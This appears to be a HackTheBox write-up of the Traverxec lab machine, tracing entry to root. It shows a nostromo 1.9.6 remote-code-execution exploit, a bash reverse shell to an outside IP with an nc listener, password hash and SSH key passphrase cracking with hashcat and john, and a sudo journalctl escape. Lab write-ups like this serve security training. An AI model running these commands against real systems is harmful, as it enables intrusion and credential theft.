Traverxec

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 7.3 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1,Recon port scan 22/tcp ssh OpenSSH 7.9p1 Debian 10+deb10u1 80/tcp http tcpwrapped http-server-header: nostromo 1.9.6 We have the version of this service, so we can check it from exploit-db nostromo 1.9.6 - Remote Code Execution Very lucky, the best vulnerability for us. https://github.com/AnubisSec/CVE-2019-16278.git

python3 nostroSploit.py 10.10.10.165 80                                                             
[+] Connecting to target
[+] Sending malicious payload
HTTP/1.1 200 OK
Date: Sat, 21 Sep 2024 10:44:40 GMT
Server: nostromo 1.9.6
Connection: close


uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then we just need to upload the reverse shell and handle it.

python3 nostroSploit.py 10.10.10.165 80 "bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'"

nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.165] 59646
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$

Then we need to make a stable shell for us

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")'
^Z
stty raw -echo; fg

Let's enumerate the useful credit to get the user shell.

david:x:1000:1000:david,,,:/home/david:/bin/bash

By enumerate the file system, we can find a config file /var/nostromo/conf/nhttpd.conf and it gives the htpasswd position

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

/var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Then we can crack it by hashcat: hashcat david.hash --user -m 500 /usr/share/wordlists/rockyou.txt then we get the password Nowonly4me But we can not use this password to switch david. The last two options jumped out as interesting. Looking at the man page for nostromo, I see the section about HOMEDIRS:

HOMEDIRS
  To serve the home directories of your users via HTTP, enable the homedirs
  option by defining the path in where the home directories are stored,
  normally /home.  To access a users home directory enter a ~ in the URL
  followed by the home directory name like in this example:

        http://www.nazgul.ch/~hacki/

  The content of the home directory is handled exactly the same way as a
  directory in your document root.  If some users don't want that their
  home directory can be accessed via HTTP, they shall remove the world
  readable flag on their home directory and a caller will receive a 403
  Forbidden response.  Also, if basic authentication is enabled, a user can
  create an .htaccess file in his home directory and a caller will need to
  authenticate.

  You can restrict the access within the home directories to a single sub
  directory by defining it via the homedirs_public option.

So /homedirs /home points nostromo to the home directories, and then in a users directory, the webroot will be public_www. So http://10.10.10.165/~david will be /home/david/public_www.

I could even use the traversal vulnerability to explore in david’s home directory. Tried a bunch of stuff: ![[Pasted image 20240921071613.png]]

The last test was where it occurred to me that www-data must be able read in this directory, /home/david/public_www. So I went back to my shell, and not only can I get into the directory, but there’s a folder there:

www-data@traverxec:/home/david/public_www$ ls -al
total 16
drwxr-xr-x 3 david david 4096 Oct 25  2019 .
drwx--x--x 5 david david 4096 Oct 25  2019 ..
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

And I found the backup-ssh-identity-files.tgz from protected-file-area.

If we want to check the file by using curl

curl 10.10.10.165/~david/protected-file-area/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>401 Unauthorized</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
</head>
<body>

<h1>401 Unauthorized</h1>

<hr>
<address>nostromo 1.9.6 at 10.10.10.165 Port 80</address>
</body>
</html>

Remember we have the password before, so let's try it again.

curl http://david:Nowonly4me@10.10.10.165/~david/protected-file-area/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Index of /david/public_www/protected-file-area/</title>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
</head>
<body>

<h1>Index of /david/public_www/protected-file-area/</h1>
<hr>
<table cellpadding=2 cellspacing=5>
<tr><td><b>Type</b></td><td><b>Filename</b></td><td><b>Last Modified</b></td><td><b>Size</b></td></tr>
<tr><td><img src="/icons/file.gif" alt="icon"></td><td><a href="backup-ssh-identity-files.tgz">backup-ssh-identity-files.tgz</a></td><td>Fri, 25 Oct 2019 17:02:59 EDT</td><td>1915</td></tr>
</table>
<hr>
<address>nostromo 1.9.6 at 10.10.10.165 Port 80</address>
</body>
</html> 

That means we successfully login. wget http://david:Nowonly4me@10.10.10.165/~david/protected-file-area/backup-ssh-identity-files.tgz Then we can get the backup file and we get the id_rsa but sadly we still need to crack the passphrase.

ssh2john id_rsa > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)     
1g 0:00:00:00 DONE (2024-09-21 07:28) 100.0g/s 14400p/s 14400c/s 14400C/s carolina..sandra
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then we can hunter and we successfully login to david shell.

3, shell as root When we want to check sudo -l , it needs us the password of david. But we did not get the right one. So I would choose another way: upload pspy64 and check the interesting process. Very sadly, there is nothing in the background. Then i would check the ~/david/bin/server-stats.sh

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

There is /usr/bin/sudo then i would also check the id

uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

I’ll look up journalctrl on gtfobins, and there is a sudo option. It’s quite short, simply saying: sudo journalctl !/bin/sh

The trick here is that journalctrl will output to stdout if it can fit onto the current page, but into less if it can’t. Since I’m running it with -n 5, that means only five lines come out, so I need to shrink my terminal to smaller than 5 lines, and I’ll get sent into less, still as root.

I’ll start with a small terminal, and run the command as I can as root: ![[Pasted image 20240921074723.png]] Then we can get shell as root. This is very tricky and funny/